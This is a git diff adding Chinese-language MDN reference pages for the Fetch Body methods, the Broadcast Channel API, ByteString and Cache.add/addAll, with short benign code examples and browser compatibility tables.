+ + diff --git a/files/zh-cn/web/api/body/formdata/index.html b/files/zh-cn/web/api/body/formdata/index.html new file mode 100644 index 0000000000..846b6afa07 --- /dev/null +++ b/files/zh-cn/web/api/body/formdata/index.html @@ -0,0 +1,122 @@ +--- +title: Body.formData() +slug: Web/API/Body/formData +translation_of: Web/API/Body/formData +--- +
{{APIRef("Fetch")}}
+ +

 {{domxref("Body")}} 对象中的formData() 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象,该方法将返回一个 Promise  对象,该对象将产生一个{{domxref("FormData")}} 对象。

+ +
+

注意: 该方法主要与 service workers 有关. 如果客户端提交的一个表单请求被Service Worker 所截取,您可以像下述的样例一样,调用 formData() 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。

+
+ +

语法

+ +
response.formData()
+.then(function(formdata) {
+  // do something with your formdata
+});
+ +

参数

+ +

无。

+ +

返回值

+ +

生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.

+ +

样例

+ +

待定.

+ +

详述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-body-formdata','formData()')}}{{Spec2('Fetch')}} 
+ +

Browser compatibility

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome(60)}}

+
{{ CompatGeckoDesktop(39)}} [1]{{ CompatNo }} +

{{CompatOpera(47)}}

+
{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support +

{{CompatChrome(60)}}

+
+

{{CompatChrome(60)}}

+
{{ CompatNo }}{{ CompatNo }}{{ CompatNo }} +

{{CompatOperaMobile(47)}}

+
{{ CompatNo }}
+
+ +

[1] Behind a preference starting with version 34.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/body/index.html b/files/zh-cn/web/api/body/index.html new file mode 100644 index 0000000000..cd27c34fab --- /dev/null +++ b/files/zh-cn/web/api/body/index.html @@ -0,0 +1,100 @@ +--- +title: Body +slug: Web/API/Body +tags: + - API + - BODY + - Fetch + - bolb() + - json() + - request +translation_of: Web/API/Body +--- +

{{ APIRef("Fetch") }}

+ +

Fetch API 中的 Body {{glossary("mixin")}} 代表响应/请求的正文,允许你声明其内容类型是什么以及应该如何处理。

+ +

Body被{{domxref("Request")}} 和{{domxref("Response")}}实现,并为这些对象提供了一个相关联的主体(字节流),一个已使用的标志(最初未设置)和一个MIME类型(最初为空字节序列)。

+ +

属性

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
一个简单的getter用于暴露一个{{domxref("ReadableStream")}}类型的主体内容。
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
一个{{domxref("Boolean")}} 值指示是否body已经被标记读取。
+
+ +

方法

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("ArrayBuffer")}}。此操作会将bodyUsed状态改为已使用(true)。
+
{{domxref("Body.blob()")}}
+
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("Blob")}}。此操作会将bodyUsed状态改为已使用(true)。
+
{{domxref("Body.formData()")}}
+
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("FormData")}}表单。此操作会将bodyUsed状态改为已使用(true)。
+
{{domxref("Body.json()")}}
+
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是使用{{jsxref("JSON")}}解析body文本的结果。此操作会将bodyUsed状态改为已使用(true)。
+
{{domxref("Body.text()")}}
+
使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("USVString")}}(文本)。此操作会将bodyUsed状态改为已使用(true)。
+
+ +

范例

+ +

基本 fetch 使用实例 (查看运行效果) 中,我们使用简单的 fetch 请求获取一张图片并将其使用 {{htmlelement("img")}} 标签展示。你可能注意到当我们请求一张图片,需要使用 {{domxref("Body.blob")}} ({{domxref("Response")}} 实现 body 接口以发送正确的MIME类型给服务器进行识别。

+ +

HTML 内容

+ +
<img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png">
+
+ +

JS 内容

+ +
var myImage = document.querySelector('.my-image');
+fetch('flowers.jpg').then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});
+ +

你也可以使用 Response.Response() 构造函数创建自定义的 Response 对象。

+ +
const response = new Response();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#body-mixin','Body')}}{{Spec2('Fetch')}} 
+ +

浏览器兼容情况

+ + + +

{{Compat("api.Body")}}

+ +

也可以看看

+ + + +

 

diff --git a/files/zh-cn/web/api/body/json/index.html b/files/zh-cn/web/api/body/json/index.html new file mode 100644 index 0000000000..58583dddf0 --- /dev/null +++ b/files/zh-cn/web/api/body/json/index.html @@ -0,0 +1,90 @@ +--- +title: Body.json() +slug: Web/API/Body/json +tags: + - API + - BODY + - Fetch + - JSON + - 参考 + - 方法 +translation_of: Web/API/Body/json +--- +
{{APIRef("Fetch")}}
+ +
{{domxref("Body")}}  mixin 的 json() 方法接收一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个 Promise,Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。
+ +

语法

+ +
response.json().then(data => {
+  // do something with your data
+});
+ +

参数

+ +

没有。

+ +

返回值

+ +

返回一个被解析为JSON格式的promise对象,这可以是任何可以由JSON表示的东西 - 一个object,一个array,一个string,一个number...

+ +

示例

+ +

在我们的  fetch json 示例 中(运行 fetch json live), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 .json 文件。当获取成功时,我们使用 json() 读取并解析数据,然后像预期的那样从结果对象中读取值,并将其插入到列表项中以显示我们的产品数据。

+ +
const myList = document.querySelector('ul');
+const myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(response => response.json())
+  .then(data => {
+    for (const product of data.products) {
+      let listItem = document.createElement('li');
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = product.Name;
+      listItem.append(
+        ` can be found in ${
+          product.Location
+        }. Cost: `
+      );
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = `£${product.Price}`;
+      myList.appendChild(listItem);
+    }
+  });
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fetch", "#dom-body-json", "Body.json()")}}{{Spec2("Fetch")}}Initial definition
+ + +

浏览器兼容性

+ + + +

{{Compat("api.Body.json")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/body/text/index.html b/files/zh-cn/web/api/body/text/index.html new file mode 100644 index 0000000000..4a67985fd9 --- /dev/null +++ b/files/zh-cn/web/api/body/text/index.html @@ -0,0 +1,85 @@ +--- +title: Body.text() +slug: Web/API/Body/text +tags: + - API + - Fetch + - 参考 + - 方法 +translation_of: Web/API/Body/text +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Body")}} mixin 的 text() 方法提供了一个可供读取的“返回流”({{domxref("Response")}} stream),并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象(也就是文本)的 Promise 对象,返回结果的编码永远是 UTF-8。

+ +

语法

+ +
response.text().then(function (text) {
+  // do something with the text response
+});
+ +

参数

+ +

无。

+ +

返回值

+ +

A promise that resolves with a {{domxref("USVString")}}.

+ +

示例

+ +

在我们 fetch text example (运行 fetch text live)的案例中, 我们有一个 {{htmlelement("article")}} 元素和三个链接(储存在 myLinks 数组中),首先,遍历 myLinks 数组,并且给数组中的所有元素添加 onclick 事件监听器,当按钮被点击的时候,链接的 data-page 标识作为会参数传入 getData() 中。

+ +

当进入 getData() 函数, 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求(Request)对象,然后,使用它获取指定的.txt的文件, 当fetch 函数执行成功, 我们使用 text() 函数来返回一个{{jsxref("USVString")}} (text) 对象,将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} (元素文本)中。

+ +
const myArticle = document.querySelector('article');
+const myLinks   = document.querySelectorAll('ul a');
+
+for(i = 0; i <= myLinks.length-1; i++) {
+  myLinks[i].onclick = function(e) {
+    e.preventDefault();
+    var linkData = e.target.getAttribute('data-page');
+    getData(linkData);
+  }
+};
+
+function getData(pageId) {
+  console.log(pageId);
+  const myRequest = new Request(pageId + '.txt');
+  fetch(myRequest).then(function(response) {
+    return response.text().then(function(text) {
+      myArticle.innerHTML = text;
+    });
+  });
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Fetch','#dom-body-text','text()')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Body.text")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/broadcast_channel_api/index.html b/files/zh-cn/web/api/broadcast_channel_api/index.html new file mode 100644 index 0000000000..1c94f2e872 --- /dev/null +++ b/files/zh-cn/web/api/broadcast_channel_api/index.html @@ -0,0 +1,85 @@ +--- +title: Broadcast Channel API +slug: Web/API/Broadcast_Channel_API +translation_of: Web/API/Broadcast_Channel_API +--- +

{{DefaultAPISidebar("Broadcast Channel API")}}

+ +

Broadcast Channel API 可以实现同 {{glossary("origin", "源")}} 下浏览器不同窗口,Tab页,frame或者 iframe 下的 {{glossary("browsing context", "浏览器上下文")}} (通常是同一个网站下不同的页面)之间的简单通讯。

+ +

{{AvailableInWorkers}}

+ +

广播频道会被命名和绑定到指定的源。

+ +

通过创建一个监听某个频道下的 {{domxref("BroadcastChannel")}} 对象,你可以接收发送给该频道的所有消息。一个有意思的点是,你不需要再维护需要通信的 iframe 或 worker 的索引。它们可以通过构造 {{domxref("BroadcastChannel")}} 来简单地“订阅”特定频道,并在它们之间进行全双工(双向)通信。

+ +

The principle of the Broadcast Channel API

+ +

Broadcast Channel 接口

+ +

创建或加入某个频道

+ +

BroadcastChannel 接口非常简单。通过创建一个 {{domxref("BroadcastChannel")}} 对象,一个客户端就加入了某个指定的频道。只需要向 构造函数 传入一个参数:频道名称。如果这是首次连接到该广播频道,相应资源会自动被创建。

+ +
// 连接到广播频道
+var bc = new BroadcastChannel('test_channel');
+
+ +

发送消息

+ +

现在发送消息就很简单了,只需要调用 BroadcastChannel 对象上的{{domxref("BroadcastChannel.postMessage", "postMessage()")}} 方法即可。该方法的参数可以是任意对象。最简单的例子就是发送 {{domxref("DOMString")}} 文本消息:

+ +
// 发送简单消息的示例
+bc.postMessage('This is a test message.');
+
+ +

不只是 {{domxref("DOMString")}},任意类型的对象都可以被发送。此 API 不会将消息与任何的语义相关联,因此通道的参与者有必要知道预期的消息类型和消息的消费方式。

+ +

接收消息

+ +

当消息被发送之后,所有连接到该频道的 {{domxref("BroadcastChannel")}} 对象上都会触发 {{event("message")}} 事件。该事件没有默认的行为,但是可以使用 {{domxref("BroadcastChannel.onmessage", "onmessage")}} 事件处理程序来定义一个函数来处理消息。

+ +
// 简单示例,用于将事件打印到控制台
+bc.onmessage = function (ev) { console.log(ev); }
+
+ +

与频道断开连接

+ +

通过调用 BroadcastChannel 对象的 {{domxref("BroadcastChannel.close", "close()")}} 方法,可以离开频道。这将断开该对象和其关联的频道之间的联系,并允许它被垃圾回收。

+ +
// 断开频道连接
+bc.close()
+
+ +

总结

+ +

Broadcast Channel API 是一个非常简单的API,内部包含了跨上下文通讯的接口。它可用于检测同源网站环境中其他浏览器选项卡下的用户操作,例如当用户登录到帐户时。没有定义消息传输协议,故不同上下文中的不同文档需要自己实现它:规范没有对此提出协议或要求。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#broadcasting-to-other-browsing-contexts", "The Broadcast Channel API")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/broadcastchannel/index.html b/files/zh-cn/web/api/broadcastchannel/broadcastchannel/index.html new file mode 100644 index 0000000000..2eafc86263 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/broadcastchannel/index.html @@ -0,0 +1,58 @@ +--- +title: BroadcastChannel() +slug: Web/API/BroadcastChannel/BroadcastChannel +translation_of: Web/API/BroadcastChannel/BroadcastChannel +--- +

{{APIRef("BroadCastChannel API")}}

+ +

BroadcastChannel() 构建函数用于创建一个 {{domxref("BroadcastChannel")}} 对象,并与对应的频道相关联。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
 channel = new BroadcastChannel(channel);
+ +

+ +
+
channel
+
频道名称,类型为 {{domxref("DOMString")}};在相同的 {{glossary("origin", "源")}} 下,一个名称只对应一个频道,所有 {{glossary("browsing context", "浏览器上下文")}} 共用。 
+
+ +

示例

+ +
// create a new channel listening to the "internal_notification" channel.
+
+var bc = new BroadcastChannel('internal_notification');
+bc.postMessage('New listening connected!');
+
+ +

规范

+ + + + + + + + + + + + + + +
规范示例备注
{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel", "BroadcastChannel()")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.BroadcastChannel")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/close/index.html b/files/zh-cn/web/api/broadcastchannel/close/index.html new file mode 100644 index 0000000000..e3eb201840 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/close/index.html @@ -0,0 +1,55 @@ +--- +title: BroadcastChannel.close() +slug: Web/API/BroadcastChannel/close +translation_of: Web/API/BroadcastChannel/close +--- +

{{APIRef("BroadCastChannel API")}}

+ +

通过调用 BroadcastChannel.close() 方法,可以马上断开其与对应频道的关联,并让其被垃圾回收。这是必要的步骤,因为浏览器没有其它方式知道频道不再被需要。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var str = channel.close();
+
+ +

示例

+ +
// 连接到指定频道
+var bc = new BroadcastChannel('test_channel');
+
+// 其它操作 (如: postMessage, …)
+
+// 当完成后,断开与频道的连接
+bc.close();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-close", "BroadcastChannel.close()")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.close")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/index.html b/files/zh-cn/web/api/broadcastchannel/index.html new file mode 100644 index 0000000000..7ba7c289ea --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/index.html @@ -0,0 +1,94 @@ +--- +title: BroadcastChannel +slug: Web/API/BroadcastChannel +tags: + - API + - Broadcast Channel API + - Experimental + - HTML API + - Interface + - Reference + - TopicStub +translation_of: Web/API/BroadcastChannel +--- +

{{APIRef("Broadcast Channel API")}}

+ +

BroadcastChannel 接口代理了一个命名频道,可以让指定 {{glossary("origin")}} 下的任意 {{glossary("browsing context")}} 来订阅它。它允许同源的不同浏览器窗口,Tab页,frame或者 iframe 下的不同文档之间相互通信。通过触发一个 {{event("message")}} 事件,消息可以广播到所有监听了该频道的 BroadcastChannel 对象。

+ +

{{AvailableInWorkers}}

+ +

构造函数

+ +
+
{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}
+
创建一个链接到命名频道的对象。
+
+ +

属性

+ +

该接口会从它的父级 {{domxref("EventTarget")}} 继承属性。

+ +
+
{{domxref("BroadcastChannel.name")}}
+
频道名称,返回 {{domxref("DOMString")}} 。
+
+

事件处理程序

+
+
{{domxref("BroadcastChannel.onmessage")}}
+
{{domxref("EventHandler")}} ,用于定义当该对象上触发了 {{event("message")}} 事件时要执行的函数。
+
{{domxref("BroadcastChannel.onmessageerror")}}
+
{{domxref("EventHandler")}} ,用于定义当该对象上触发了类型为 {{domxref("MessageError")}} 的 {{domxref("MessageEvent")}} 事件时要执行的函数。当接收到一条无法反序列化的消息时会触发此事件。
+
+ +

方法

+ +

该接口会从它的父级 {{domxref("EventTarget")}} 继承方法。

+ +

{{domxref("BroadcastChannel.postMessage()")}}

+ +
+
向所有监听了相同频道的 BroadcastChannel 对象发送一条消息,消息内容可以是任意类型的数据。 
+
{{domxref("BroadcastChannel.close()")}}
+
关闭频道对象,告诉它不要再接收新的消息,并允许它最终被垃圾回收。
+
+ +

事件

+ +
+
message
+
当频道收到一条消息时触发。
+ 也可以使用 onmessage 属性访问。
+
messageerror
+
当频道收到一条无法反序列化的消息时触发。
+ 也可以使用 onmessageerror 属性访问。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/messageerror_event/index.html b/files/zh-cn/web/api/broadcastchannel/messageerror_event/index.html new file mode 100644 index 0000000000..22b1a722f2 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/messageerror_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'BroadcastChannel: messageerror event' +slug: Web/API/BroadcastChannel/messageerror_event +translation_of: Web/API/BroadcastChannel/messageerror_event +--- +
{{APIRef}}
+ +

当频道收到一条无法反序列化的消息时会在 {{domxref('BroadcastChannel')}} 对象上触发 messageerror 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("MessageEvent")}}
Event handler propertyonmessageerror
+ +

示例

+ +

以下代码使用 addEventListener 来监听消息和错误:

+ +
const channel = new BroadcastChannel('example-channel');
+
+channel.addEventListener('message', (event) => {
+  received.textContent = event.data;
+});
+
+channel.addEventListener('messageerror', (event) => {
+  console.error(event);
+});
+ +

使用 onmessageonmessageerror 事件处理程序来实现相同效果:

+ +
const channel = new BroadcastChannel('example-channel');
+
+channel.onmessage = (event) => {
+  received.textContent = event.data;
+};
+
+channel.onmessageerror = (event) => {
+  console.log(event);
+};
+
+ +

规范

+ + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', 'indices.html#event-messageerror')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.messageerror_event")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/name/index.html b/files/zh-cn/web/api/broadcastchannel/name/index.html new file mode 100644 index 0000000000..d6e21fd6e3 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/name/index.html @@ -0,0 +1,57 @@ +--- +title: BroadcastChannel.name +slug: Web/API/BroadcastChannel/name +translation_of: Web/API/BroadcastChannel/name +--- +

{{APIRef("BroadCastChannel API")}}

+ +

BroadcastChannel.name 是类型为 {{domxref("DOMString")}} 的只读属性,是频道的唯一标识。属性 name 是在创建时传入 {{domxref("BroadcastChannel.BroadCastChannel", "BroadcastChannel()")}} 构造函数的,所以是只读的。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var str = channel.name;
+
+ +

示例

+ +
// 连接到指定频道
+var bc = new BroadcastChannel('test_channel');
+
+// 其它操作 (如: postMessage, …)
+
+// 在控制台打印频道名称
+console.log(bc.name); // "test_channel"
+
+// 当完成后,断开与频道的连接
+bc.close();
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-name", "BroadcastChannel.name")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.name")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/onmessage/index.html b/files/zh-cn/web/api/broadcastchannel/onmessage/index.html new file mode 100644 index 0000000000..ffea7d9825 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/onmessage/index.html @@ -0,0 +1,55 @@ +--- +title: BroadcastChannel.onmessage +slug: Web/API/BroadcastChannel/onmessage +translation_of: Web/API/BroadcastChannel/onmessage +--- +

{{APIRef("BroadCastChannel API")}}

+ +

当 {{domxref("BroadcastChannel")}} 接收到类型为 {{domxref("MessageEvent")}} 的 {{event("message")}} 事件时,BroadcastChannel.onmessage 属性可以指定一个函数,作为该事件对应的事件处理程序来执行。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
channel.onmessage = function;
+
+ +

+ + + +

示例

+ +
bc.onmessage = function(ev) { console.log('message event received!'); };
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#handler-broadcastchannel-onmessage", "BroadcastChannel.onmessage")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.onmessage")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/onmessageerror/index.html b/files/zh-cn/web/api/broadcastchannel/onmessageerror/index.html new file mode 100644 index 0000000000..01c0e9ca2a --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/onmessageerror/index.html @@ -0,0 +1,45 @@ +--- +title: BroadcastChannel.onmessageerror +slug: Web/API/BroadcastChannel/onmessageerror +translation_of: Web/API/BroadcastChannel/onmessageerror +--- +
{{APIRef("HTML DOM")}}
+ +

位于 {{domxref("BroadcastChannel")}} 接口上的 onmessageerror 事件处理程序,它是一个 {{domxref("EventListener", "事件监听器")}}。当  BroadcastChannel 接收到一条无法 {{glossary("Deserialization", "反序列化")}}的消息时,会触发类型为 {{domxref("MessageError")}} 的 {{domxref("MessageEvent")}} 事件,此时会执行该事件处理程序。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
bc.onmessageerror = function() { ... };
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#handler-broadcastchannel-onmessageerror', 'onmessageerror')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.BroadcastChannel.onmessageerror")}}

+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/broadcastchannel/postmessage/index.html b/files/zh-cn/web/api/broadcastchannel/postmessage/index.html new file mode 100644 index 0000000000..374c611b34 --- /dev/null +++ b/files/zh-cn/web/api/broadcastchannel/postmessage/index.html @@ -0,0 +1,44 @@ +--- +title: BroadcastChannel.postMessage() +slug: Web/API/BroadcastChannel/postMessage +translation_of: Web/API/BroadcastChannel/postMessage +--- +

{{APIRef("BroadCastChannel API")}}

+ +

可以使用 BroadcastChannel.postMessage() 发送一条任意 {{jsxref("Object")}} 类型的消息,给所有同{{glossary("origin", "源")}}下监听了该频道的所有{{glossary("browsing context", "浏览器上下文")}}。消息以 {{event("message")}} 事件的形式发送给每一个绑定到该频道的广播频道。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var str = channel.postMessage(object);
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "comms.html#dom-broadcastchannel-postmessage", "BroadcastChannel.postmessage()")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.BroadcastChannel.postMessage")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/bytestring/index.html b/files/zh-cn/web/api/bytestring/index.html new file mode 100644 index 0000000000..7c3c0d004f --- /dev/null +++ b/files/zh-cn/web/api/bytestring/index.html @@ -0,0 +1,40 @@ +--- +title: ByteString +slug: Web/API/ByteString +tags: + - API + - DOM + - String + - WebIDL + - 参考 + - 字符串 +translation_of: Web/API/ByteString +--- +

{{APIRef("DOM")}}

+ +

ByteString 是一个可以对应所有可能的字节序列的 UTF-8 字符串。在 JavaScript 中,当返回时 ByteString 时,它会映射到一个 {{jsxref("String")}} 上去; 通常,只有在和一些协议交互,进行字节和字符串的相互转换时,它才会被用到,例如 HTTP 协议。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('WebIDL', '#idl-ByteString', 'ByteString')}}{{Spec2('WebIDL')}}Initial definition.
+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/add/index.html b/files/zh-cn/web/api/cache/add/index.html new file mode 100644 index 0000000000..dbce4c5b21 --- /dev/null +++ b/files/zh-cn/web/api/cache/add/index.html @@ -0,0 +1,198 @@ +--- +title: Cache.add() +slug: Web/API/Cache/add +translation_of: Web/API/Cache/add +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

{{domxref("Cache")}}接口的 add()方法接受一个URL作为参数,请求参数指定的URL,并将返回的response对象添加到给定的cache中。 add() 方法在功能上等同于以下代码:

+ +
fetch(url).then(function (response) {
+  if (!response.ok) {
+    throw new TypeError('bad response status');
+  }
+  return cache.put(url, response);
+})
+ +

对于更复杂的操作,您可以直接使用{{domxref("Cache.put","Cache.put()")}}这个API。

+ +
+

注意: add() 将会覆盖之前存储在cache中与request匹配的任何key/value对。

+
+ +
+

注意: 之前的Cache  (Blink 和 Gecko内核版本) 在实现{{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, 和 {{domxref("Cache.put")}} 的策略是在response结果完全写入缓存后才会resolve当前的promise。更新后的规范版本中一旦条目被记录到数据库就会resolve当前的promise,即使当前response结果还在传输中。

+
+ +

语法

+ +
cache.add(request).then(function() {
+  //request has been added to the cache
+});
+
+ +

参数

+ +
+
request
+
要添加到cache的request。它可以是一个 {{domxref("Request")}} 对象,也可以是 URL。
+
+ +

返回值

+ +

void返回值的 {{jsxref("Promise")}} 

+ +

Exceptions

+ + + + + + + + + + + + + + +
ExceptionHappens when
TypeError +

URL的协议不是 http 或 https。

+ +

请求返回的http状态码不是2xx (不是一个成功的响应) 。这种情况常常发生在请求不成功,或者是一个没有配置CORS的跨域请求(这种情况下返回的状态码永远是0)。

+
+ +

示例

+ +

下面的代码块等待 {{domxref("InstallEvent")}} 事件触发,然后运行 {{domxref("ExtendableEvent.waitUntil","waitUntil")}} 来处理该应用程序的安装过程。 包括调用 {{domxref("CacheStorage.open")}} 来创建一个新的缓存,然后使用 {{domxref("Cache.add")}} 来添加一个请求资源到该缓存。

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.add('/sw-test/index.html');
+    })
+  );
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#cache', 'Cache')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatNo}}24{{CompatNo}}
Require HTTPS{{CompatChrome(46.0)}}{{CompatVersionUnknown}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
TypeError if request is not successful{{CompatVersionUnknown}}{{CompatGeckoDesktop(47.0)}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(46.0)}}
Require HTTPS{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(46.0)}}
TypeError if request is not successful{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 & 52 Extended Support Releases (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/cache/addall/index.html b/files/zh-cn/web/api/cache/addall/index.html new file mode 100644 index 0000000000..fad889eab9 --- /dev/null +++ b/files/zh-cn/web/api/cache/addall/index.html @@ -0,0 +1,202 @@ +--- +title: Cache.addAll() +slug: Web/API/Cache/addAll +translation_of: Web/API/Cache/addAll +--- +

{{APIRef("Service Workers API")}}{{SeeCompatTable}}

+ +

概要

+ +

{{domxref("Cache")}} 接口的 addAll() 方法接受一个URL数组,检索它们,并将生成的response对象添加到给定的缓存中。 在检索期间创建的request对象成为存储的response操作的key。

+ +
+

NoteaddAll() will overwrite any key/value pairs previously stored in the cache that match the request, but will fail if a resulting put() operation would overwrite a previous cache entry created by the same addAll() method.

+
+ +
+

Note: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to storage.  More recent spec versions have newer language stating that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.

+
+ +

语法

+ +
cache.addAll(requests[]).then(function() {
+  //requests have been added to the cache
+});
+
